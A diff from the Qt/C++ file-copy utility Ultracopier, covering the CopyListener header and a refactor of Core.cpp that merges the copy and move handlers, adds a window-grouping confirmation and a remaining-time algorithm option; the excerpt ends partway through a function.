+ void copyWithoutDestination(QStringList sources);
+ /** new copy with destination have been pased by the CLI */
+ void copy(QStringList sources,QString destination);
+ /** new move without destination have been pased by the CLI */
+ void moveWithoutDestination(QStringList sources);
+ /** new move with destination have been pased by the CLI */
+ void move(QStringList sources,QString destination);
+ signals:
+ void newCopyWithoutDestination(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources) const;
+ void newCopy(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination) const;
+ void newMoveWithoutDestination(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources) const;
+ void newMove(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination) const;
+ void listenerReady(const Ultracopier::ListeningState &state,const bool &havePlugin,const bool &someAreInWaitOfReply) const;
+ void pluginLoaderReady(const Ultracopier::CatchState &state,const bool &havePlugin,const bool &someAreInWaitOfReply) const;
+ void previouslyPluginAdded(const PluginsAvailable &) const;
+ void newClientList(const QStringList &clientsList) const;
+ private:
+ struct PluginListener
+ {
+ PluginInterface_Listener *listenInterface;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QPluginLoader *pluginLoader;
+ #endif
+ QString path;
+ Ultracopier::ListeningState state;
+ bool inWaitOfReply;
+ LocalPluginOptions *options;
+ };
+ QList<PluginListener> pluginList;
+ //for the options
+ quint32 nextOrderId;
+ QList<quint32> orderList;
+ //for the copy as suspend
+ struct CopyRunning
+ {
+ PluginInterface_Listener *listenInterface;
+ quint32 pluginOrderId;
+ quint32 orderId;
+ };
+ QList<CopyRunning> copyRunningList;
+ quint32 incrementOrderId();
+ bool tryListen;
+ PluginLoader *pluginLoader;
+ Ultracopier::ListeningState last_state;
+ bool last_have_plugin,last_inWaitOfReply;
+ void sendState(bool force=false);
+ QStringList stripSeparator(QStringList sources);
+ OptionDialog *optionDialog;
+ bool stopIt;
+ QRegularExpression stripSeparatorRegex;
};
#endif // COPYLISTENER_H
diff --git a/Core.cpp b/Core.cpp
index a12ba32..52d693c 100755..100644
--- a/Core.cpp
+++ b/Core.cpp
@@ -1,304 +1,284 @@
/** \file Core.cpp
\brief Define the class for the core
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QMessageBox>
#include <QtPlugin>
+#include <cmath>
#include "Core.h"
+#include "ThemesManager.h"
Core::Core(CopyEngineManager *copyEngineList)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->copyEngineList=copyEngineList;
- nextId=0;
- forUpateInformation.setInterval(ULTRACOPIER_TIME_INTERFACE_UPDATE);
- loadInterface();
- //connect(&copyEngineList, SIGNAL(newCanDoOnlyCopy(bool)), this, SIGNAL(newCanDoOnlyCopy(bool)));
- connect(themes, SIGNAL(theThemeNeedBeUnloaded()), this, SLOT(unloadInterface()));
- connect(themes, SIGNAL(theThemeIsReloaded()), this, SLOT(loadInterface()));
- connect(&forUpateInformation, SIGNAL(timeout()), this, SLOT(periodicSynchronization()));
-
- qRegisterMetaType<QList<returnActionOnCopyList> >("QList<returnActionOnCopyList>");
- qRegisterMetaType<QList<ProgressionItem> >("QList<ProgressionItem>");
- qRegisterMetaType<QList<int> >("QList<int>");
- qRegisterMetaType<QList<QUrl> >("QList<QUrl>");
- qRegisterMetaType<EngineActionInProgress>("EngineActionInProgress");
- qRegisterMetaType<CopyMode >("CopyMode");
- qRegisterMetaType<QList<returnActionOnCopyList> >("QList<returnActionOnCopyList>");
- qRegisterMetaType<QList<ProgressionItem> >("QList<ProgressionItem>");
-}
-
-void Core::newCopy(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(openNewCopyEngineInstance(Copy,false,protocolsUsedForTheSources)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- copyList.last().orderId<<orderId;
- copyList.last().engine->newCopy(sources);
- copyList.last().interface->haveExternalOrder();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->copyEngineList=copyEngineList;
+ nextId=0;
+ forUpateInformation.setInterval(ULTRACOPIER_TIME_INTERFACE_UPDATE);
+ loadInterface();
+ //connect(&copyEngineList, &CopyEngineManager::newCanDoOnlyCopy, this, &Core::newCanDoOnlyCopy);
+ connect(ThemesManager::themesManager, &ThemesManager::theThemeNeedBeUnloaded, this, &Core::unloadInterface);
+ connect(ThemesManager::themesManager, &ThemesManager::theThemeIsReloaded, this, &Core::loadInterface, Qt::QueuedConnection);
+ connect(&forUpateInformation, &QTimer::timeout, this, &Core::periodicSynchronization);
+}
+
+Core::~Core()
+{
+ int index=0;
+ while(index<copyList.size())
+ {
+ copyList[index].engine->cancel();
+ delete copyList.at(index).nextConditionalSync;
+ delete copyList.at(index).interface;
+ delete copyList.at(index).engine;
+ index++;
+ }
+}
+
+void Core::newCopyWithoutDestination(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(openNewCopyEngineInstance(Ultracopier::Copy,false,protocolsUsedForTheSources)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
+ copyList.last().orderId<<orderId;
+ copyList.last().engine->newCopy(sources);
+ copyList.last().interface->haveExternalOrder();
+}
+
+void Core::newTransfer(const Ultracopier::CopyMode &mode,const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: ")+sources.join(QStringLiteral(";"))+QStringLiteral(", dest: ")+destination+QStringLiteral(", mode: ")+QString::number(mode));
+ //search to group the window
+ int GroupWindowWhen=OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("GroupWindowWhen")).toInt();
+ bool haveSameSource=false,haveSameDestination=false;
+ if(GroupWindowWhen!=0)
+ {
+ bool needConfirmation=OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("confirmToGroupWindows")).toInt();
+ int index=0;
+ while(index<copyList.size())
+ {
+ bool rightMode=false;
+ if(mode==Ultracopier::Copy)
+ rightMode=copyList.at(index).mode==Ultracopier::Copy;
+ else
+ rightMode=copyList.at(index).mode==Ultracopier::Move;
+ if(!copyList.at(index).ignoreMode && rightMode && !copyList.at(index).canceled)
+ {
+ if(GroupWindowWhen!=5)
+ {
+ if(GroupWindowWhen!=2)
+ haveSameSource=copyList.at(index).engine->haveSameSource(sources);
+ if(GroupWindowWhen!=1)
+ haveSameDestination=copyList.at(index).engine->haveSameDestination(destination);
+ }
+ if(
+ GroupWindowWhen==5 ||
+ (GroupWindowWhen==1 && haveSameSource) ||
+ (GroupWindowWhen==2 && haveSameDestination) ||
+ (GroupWindowWhen==3 && (haveSameSource && haveSameDestination)) ||
+ (GroupWindowWhen==4 && (haveSameSource || haveSameDestination))
+ )
+ {
+ /*protocols are same*/
+ if(copyEngineList->protocolsSupportedByTheCopyEngine(copyList.at(index).engine,protocolsUsedForTheSources,protocolsUsedForTheDestination))
+ {
+ bool confirmed=true;
+ if(needConfirmation)
+ {
+ QMessageBox::StandardButton reply = QMessageBox::question(copyList.at(index).interface,tr("Group window"),tr("Do you want group the transfer with another actual running transfer?"),QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
+ confirmed=(reply==QMessageBox::Yes);
+ }
+ if(confirmed)
+ {
+ copyList[index].orderId<<orderId;
+ if(mode==Ultracopier::Copy)
+ copyList.at(index).engine->newCopy(sources,destination);
+ else
+ copyList.at(index).engine->newMove(sources,destination);
+ copyList.at(index).interface->haveExternalOrder();
+ return;
+ }
+ }
+ }
+ }
+ index++;
+ }
+ }
+ //else open new windows
+ if(openNewCopyEngineInstance(mode,false,protocolsUsedForTheSources,protocolsUsedForTheDestination)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to get a engine instance"));
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a engine instance"));
+ return;
+ }
+ copyList.last().orderId<<orderId;
+ if(mode==Ultracopier::Copy)
+ copyList.last().engine->newCopy(sources,destination);
+ else
+ copyList.last().engine->newMove(sources,destination);
+ copyList.last().interface->haveExternalOrder();
}
void Core::newCopy(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+sources.join(";")+", dest: "+destination);
- //search to group the window
- int GroupWindowWhen=options->getOptionValue("Ultracopier","GroupWindowWhen").toInt();
- bool haveSameSource=false,haveSameDestination=false;
- if(GroupWindowWhen!=0)
- {
- int index=0;
- while(index<copyList.size())
- {
- if(!copyList.at(index).ignoreMode && copyList.at(index).mode==Copy)
- {
- if(GroupWindowWhen!=5)
- {
- if(GroupWindowWhen!=2)
- haveSameSource=copyList.at(index).engine->haveSameSource(sources);
- if(GroupWindowWhen!=1)
- haveSameDestination=copyList.at(index).engine->haveSameDestination(destination);
- }
- if(
- GroupWindowWhen==5 ||
- (GroupWindowWhen==1 && haveSameSource) ||
- (GroupWindowWhen==2 && haveSameDestination) ||
- (GroupWindowWhen==3 && (haveSameSource && haveSameDestination)) ||
- (GroupWindowWhen==4 && (haveSameSource || haveSameDestination))
- )
- {
- /*protocols are same*/
- if(copyEngineList->protocolsSupportedByTheCopyEngine(copyList.at(index).engine,protocolsUsedForTheSources,protocolsUsedForTheDestination))
- {
- copyList[index].orderId<<orderId;
- copyList.at(index).engine->newCopy(sources,destination);
- copyList.at(index).interface->haveExternalOrder();
- return;
- }
- }
- }
- index++;
- }
- }
- //else open new windows
- if(openNewCopyEngineInstance(Copy,false,protocolsUsedForTheSources,protocolsUsedForTheDestination)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- copyList.last().orderId<<orderId;
- copyList.last().engine->newCopy(sources,destination);
- copyList.last().interface->haveExternalOrder();
-}
-
-void Core::newMove(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources)
-{
- if(openNewCopyEngineInstance(Move,false,protocolsUsedForTheSources)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- copyList.last().orderId<<orderId;
- copyList.last().engine->newMove(sources);
- copyList.last().interface->haveExternalOrder();
+ newTransfer(Ultracopier::Copy,orderId,protocolsUsedForTheSources,sources,protocolsUsedForTheDestination,destination);
}
void Core::newMove(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+sources.join(";")+", dest: "+destination);
- //search to group the window
- int GroupWindowWhen=options->getOptionValue("Ultracopier","GroupWindowWhen").toInt();
- bool haveSameSource=false,haveSameDestination=false;
- if(GroupWindowWhen!=0)
- {
- int index=0;
- while(index<copyList.size())
- {
- if(!copyList.at(index).ignoreMode && copyList.at(index).mode==Move)
- {
- if(GroupWindowWhen!=5)
- {
- if(GroupWindowWhen!=2)
- haveSameSource=copyList.at(index).engine->haveSameSource(sources);
- if(GroupWindowWhen!=1)
- haveSameDestination=copyList.at(index).engine->haveSameDestination(destination);
- }
- if(
- GroupWindowWhen==5 ||
- (GroupWindowWhen==1 && haveSameSource) ||
- (GroupWindowWhen==2 && haveSameDestination) ||
- (GroupWindowWhen==3 && (haveSameSource && haveSameDestination)) ||
- (GroupWindowWhen==4 && (haveSameSource || haveSameDestination))
- )
- {
- /*protocols are same*/
- if(copyEngineList->protocolsSupportedByTheCopyEngine(copyList.at(index).engine,protocolsUsedForTheSources,protocolsUsedForTheDestination))
- {
- copyList[index].orderId<<orderId;
- copyList.at(index).engine->newCopy(sources,destination);
- copyList.at(index).interface->haveExternalOrder();
- return;
- }
- }
- }
- index++;
- }
- }
- //else open new windows
- if(openNewCopyEngineInstance(Move,false,protocolsUsedForTheSources,protocolsUsedForTheDestination)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- copyList.last().orderId<<orderId;
- copyList.last().engine->newMove(sources,destination);
- copyList.last().interface->haveExternalOrder();
+ newTransfer(Ultracopier::Move,orderId,protocolsUsedForTheSources,sources,protocolsUsedForTheDestination,destination);
+}
+
+void Core::newMoveWithoutDestination(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources)
+{
+ if(openNewCopyEngineInstance(Ultracopier::Move,false,protocolsUsedForTheSources)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
+ copyList.last().orderId<<orderId;
+ copyList.last().engine->newMove(sources);
+ copyList.last().interface->haveExternalOrder();
}
/// \brief name to open the right copy engine
-void Core::addWindowCopyMove(const CopyMode &mode,const QString &name)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+name);
- if(openNewCopyEngineInstance(mode,false,name)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- ActionOnManualOpen ActionOnManualOpen_value=(ActionOnManualOpen)options->getOptionValue("Ultracopier","ActionOnManualOpen").toInt();
- if(ActionOnManualOpen_value!=ActionOnManualOpen_Nothing)
- {
- if(ActionOnManualOpen_value==ActionOnManualOpen_Folder)
- copyList.last().engine->userAddFolder(mode);
- else
- copyList.last().engine->userAddFile(mode);
- }
+void Core::addWindowCopyMove(const Ultracopier::CopyMode &mode,const QString &name)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: ")+name);
+ if(openNewCopyEngineInstance(mode,false,name)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
+ ActionOnManualOpen ActionOnManualOpen_value=(ActionOnManualOpen)OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("ActionOnManualOpen")).toInt();
+ if(ActionOnManualOpen_value!=ActionOnManualOpen_Nothing)
+ {
+ if(ActionOnManualOpen_value==ActionOnManualOpen_Folder)
+ copyList.last().engine->userAddFolder(mode);
+ else
+ copyList.last().engine->userAddFile(mode);
+ }
}
/// \brief name to open the right copy engine
void Core::addWindowTransfer(const QString &name)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start"+name);
- if(openNewCopyEngineInstance(Copy,true,name)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start")+name);
+ if(openNewCopyEngineInstance(Ultracopier::Copy,true,name)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
}
/** new transfer list pased by the CLI */
void Core::newTransferList(QString engine,QString mode,QString file)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("engine: %1, mode: %2, file: %3").arg(engine).arg(mode).arg(file));
- if(mode=="Transfer")
- {
- if(openNewCopyEngineInstance(Copy,true,engine)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- }
- else if(mode=="Copy")
- {
- if(openNewCopyEngineInstance(Copy,false,engine)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- }
- else if(mode=="Move")
- {
- if(openNewCopyEngineInstance(Move,false,engine)==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to get a copy engine instance");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
- return;
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The argument for the mode is not understand");
- QMessageBox::critical(NULL,tr("Error"),tr("The argument for the mode is not understand"));
- return;
- }
- copyList.last().engine->newTransferList(file);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("engine: %1, mode: %2, file: %3").arg(engine).arg(mode).arg(file));
+ if(mode==QStringLiteral("Transfer"))
+ {
+ if(openNewCopyEngineInstance(Ultracopier::Copy,true,engine)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
+ }
+ else if(mode==QStringLiteral("Copy"))
+ {
+ if(openNewCopyEngineInstance(Ultracopier::Copy,false,engine)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
+ }
+ else if(mode==QStringLiteral("Move"))
+ {
+ if(openNewCopyEngineInstance(Ultracopier::Move,false,engine)==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get a copy engine instance");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to get a copy engine instance"));
+ return;
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The argument for the mode is not valid");
+ QMessageBox::critical(NULL,tr("Error"),tr("The argument for the mode is not valid"));
+ return;
+ }
+ copyList.last().engine->newTransferList(file);
}
void Core::loadInterface()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //load the extra files to check the themes availability
- if(copyList.size()>0)
- {
- bool error=false;
- index=0;
- loop_size=copyList.size();
- while(index<loop_size)
- {
- copyList[index].interface=themes->getThemesInstance();
- if(copyList[index].interface==NULL)
- {
- copyInstanceCanceledByIndex(index);
- index--;
- error=true;
- }
- else
- {
- if(!copyList.at(index).ignoreMode)
- copyList.at(index).interface->forceCopyMode(copyList.at(index).mode);
- connectInterfaceAndSync(copyList.count()-1);
- copyList.at(index).engine->syncTransferList();
- }
- index++;
- }
- if(error)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to load the interface, copy aborted");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to load the interface, copy aborted"));
- }
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //load the extra files to check the themes availability
+ if(copyList.size()>0)
+ {
+ bool error=false;
+ int index=0;
+ while(index<copyList.size())
+ {
+ copyList[index].interface=ThemesManager::themesManager->getThemesInstance();
+ if(copyList.at(index).interface==NULL)
+ {
+ copyInstanceCanceledByIndex(index);
+ error=true;
+ }
+ else
+ {
+ if(!copyList.at(index).ignoreMode)
+ copyList.at(index).interface->forceCopyMode(copyList.at(index).mode);
+ connectInterfaceAndSync(copyList.count()-1);
+ copyList.at(index).engine->syncTransferList();
+ index++;
+ }
+ }
+ if(error)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to load the interface, copy aborted");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to load the interface, copy aborted"));
+ }
+ }
}
void Core::unloadInterface()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- index=0;
- loop_size=copyList.size();
- while(index<loop_size)
- {
- if(copyList.at(index).interface!=NULL)
- {
- disconnectInterface(index);
- delete copyList.at(index).interface;
- copyList[index].interface=NULL;
- copyList[index].copyEngineIsSync=false;
- }
- index++;
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ const int &loop_size=copyList.size();
+ while(index<loop_size)
+ {
+ if(copyList.at(index).interface!=NULL)
+ {
+ //disconnectInterface(index);
+ delete copyList.at(index).interface;
+ copyList[index].interface=NULL;
+ copyList[index].copyEngineIsSync=false;
+ }
+ index++;
+ }
}
int Core::incrementId()
{
- do
- {
- nextId++;
- if(nextId>2000000)
- nextId=0;
- } while(idList.contains(nextId));
- return nextId;
+ do
+ {
+ nextId++;
+ if(nextId>2000000)
+ nextId=0;
+ } while(idList.contains(nextId));
+ return nextId;
}
/** open with specific source/destination
@@ -307,13 +287,13 @@ int Core::incrementId()
\param protocolsUsedForTheSources protocols used for sources
\param protocolsUsedForTheDestination protocols used for destination
*/
-int Core::openNewCopyEngineInstance(const CopyMode &mode,const bool &ignoreMode,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination)
+int Core::openNewCopyEngineInstance(const Ultracopier::CopyMode &mode,const bool &ignoreMode,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- CopyEngineManager::returnCopyEngine returnInformations=copyEngineList->getCopyEngine(mode,protocolsUsedForTheSources,protocolsUsedForTheDestination);
- if(returnInformations.engine==NULL)
- return -1;
- return connectCopyEngine(mode,ignoreMode,returnInformations);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ CopyEngineManager::returnCopyEngine returnInformations=copyEngineList->getCopyEngine(mode,protocolsUsedForTheSources,protocolsUsedForTheDestination);
+ if(returnInformations.engine==NULL)
+ return -1;
+ return connectCopyEngine(mode,ignoreMode,returnInformations);
}
/** open with specific copy engine
@@ -322,649 +302,849 @@ int Core::openNewCopyEngineInstance(const CopyMode &mode,const bool &ignoreMode,
\param protocolsUsedForTheSources protocols used for sources
\param protocolsUsedForTheDestination protocols used for destination
*/
-int Core::openNewCopyEngineInstance(const CopyMode &mode,const bool &ignoreMode,const QString &name)
+int Core::openNewCopyEngineInstance(const Ultracopier::CopyMode &mode,const bool &ignoreMode,const QString &name)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, mode: "+QString::number(mode)+", name: "+name);
- CopyEngineManager::returnCopyEngine returnInformations=copyEngineList->getCopyEngine(mode,name);
- if(returnInformations.engine==NULL)
- return -1;
- return connectCopyEngine(mode,ignoreMode,returnInformations);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, mode: "+QString::number(mode)+", name: "+name);
+ CopyEngineManager::returnCopyEngine returnInformations=copyEngineList->getCopyEngine(mode,name);
+ if(returnInformations.engine==NULL)
+ return -1;
+ return connectCopyEngine(mode,ignoreMode,returnInformations);
}
/** Connect the copy engine instance provided previously to the management */
-int Core::connectCopyEngine(const CopyMode &mode,bool ignoreMode,const CopyEngineManager::returnCopyEngine &returnInformations)
-{
- if(returnInformations.canDoOnlyCopy)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Mode force for unknow reason");
- ignoreMode=false;//force mode if need, normaly not used
- }
- CopyInstance newItem;
- newItem.engine=returnInformations.engine;
- if(newItem.engine!=NULL)
- {
- PluginInterface_Themes *theme=themes->getThemesInstance();
- if(theme!=NULL)
- {
- newItem.id=incrementId();
- newItem.lastProgression=0;
- newItem.interface=theme;
- newItem.ignoreMode=ignoreMode;
- newItem.mode=mode;
- newItem.type=returnInformations.type;
- newItem.transferListOperation=returnInformations.transferListOperation;
- newItem.baseTime=0;
- newItem.numberOfFile=0;
- newItem.numberOfTransferedFile=0;
- newItem.currentProgression=0;
- newItem.totalProgression=0;
- newItem.action=Idle;
- newItem.lastProgression=0;//store the real byte transfered, used in time remaining calculation
- newItem.isPaused=false;
- newItem.baseTime=0;//stored in ms
- newItem.isRunning=false;
- newItem.haveError=false;
- newItem.lastConditionalSync.start();
- newItem.nextConditionalSync=new QTimer();
- newItem.nextConditionalSync->setSingleShot(true);
- newItem.copyEngineIsSync=true;
-
- if(!ignoreMode)
- {
- newItem.interface->forceCopyMode(mode);
- newItem.engine->forceMode(mode);
- }
- if(copyList.size()==0)
- forUpateInformation.start();
- copyList << newItem;
- connectEngine(copyList.count()-1);
- connectInterfaceAndSync(copyList.count()-1);
- return newItem.id;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to load the interface, copy aborted");
- delete newItem.engine;
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to load the interface, copy aborted"));
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to load the copy engine, copy aborted");
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to load the copy engine, copy aborted"));
- }
- return -1;
+int Core::connectCopyEngine(const Ultracopier::CopyMode &mode,bool ignoreMode,const CopyEngineManager::returnCopyEngine &returnInformations)
+{
+ if(returnInformations.canDoOnlyCopy)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Mode force for unknow reason");
+ ignoreMode=false;//force mode if need, normaly not used
+ }
+ CopyInstance newItem;
+ newItem.engine=returnInformations.engine;
+ if(newItem.engine!=NULL)
+ {
+ PluginInterface_Themes *theme=ThemesManager::themesManager->getThemesInstance();
+ if(theme!=NULL)
+ {
+ newItem.id=incrementId();
+ newItem.lastProgression=0;
+ newItem.interface=theme;
+ newItem.ignoreMode=ignoreMode;
+ newItem.mode=mode;
+ newItem.type=returnInformations.type;
+ newItem.transferListOperation=returnInformations.transferListOperation;
+ newItem.numberOfFile=0;
+ newItem.numberOfTransferedFile=0;
+ newItem.currentProgression=0;
+ newItem.totalProgression=0;
+ newItem.action=Ultracopier::Idle;
+ newItem.lastProgression=0;//store the real byte transfered, used in time remaining calculation
+ newItem.isPaused=false;
+ newItem.isRunning=false;
+ newItem.haveError=false;
+ newItem.lastConditionalSync.start();
+ newItem.nextConditionalSync=new QTimer();
+ newItem.nextConditionalSync->setSingleShot(true);
+ newItem.copyEngineIsSync=true;
+ newItem.canceled=false;
+
+ switch(OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("remainingTimeAlgorithm")).toUInt())
+ {
+ default:
+ case 0:
+ newItem.remainingTimeAlgo=Ultracopier::RemainingTimeAlgo_Traditional;
+ break;
+ case 1:
+ newItem.remainingTimeAlgo=Ultracopier::RemainingTimeAlgo_Logarithmic;
+ {
+ int index=0;
+ while(index<ULTRACOPIER_MAXREMAININGTIMECOL)
+ {
+ RemainingTimeLogarithmicColumn remainingTimeLogarithmicColumn;
+ remainingTimeLogarithmicColumn.totalSize=0;
+ remainingTimeLogarithmicColumn.transferedSize=0;
+ newItem.remainingTimeLogarithmicValue << remainingTimeLogarithmicColumn;
+ index++;
+ }
+ }
+ break;
+ }
+
+ if(!ignoreMode)
+ {
+ newItem.interface->forceCopyMode(mode);
+ newItem.engine->forceMode(mode);
+ }
+ if(copyList.size()==0)
+ forUpateInformation.start();
+ copyList << newItem;
+ connectEngine(copyList.count()-1);
+ connectInterfaceAndSync(copyList.count()-1);
+ return newItem.id;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to load the interface, copy aborted");
+ delete newItem.engine;
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to load the interface, copy aborted"));
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to load the copy engine, copy aborted");
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to load the copy engine, copy aborted"));
+ }
+ return -1;
}
void Core::resetSpeedDetectedEngine()
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- resetSpeedDetected(index);
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ resetSpeedDetected(index);
}
void Core::resetSpeedDetectedInterface()
{
- int index=indexCopySenderInterface();
- if(index!=-1)
- resetSpeedDetected(index);
+ int index=indexCopySenderInterface();
+ if(index!=-1)
+ resetSpeedDetected(index);
}
void Core::resetSpeedDetected(const int &index)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start on %1").arg(index));
- copyList[index].runningTime.restart();
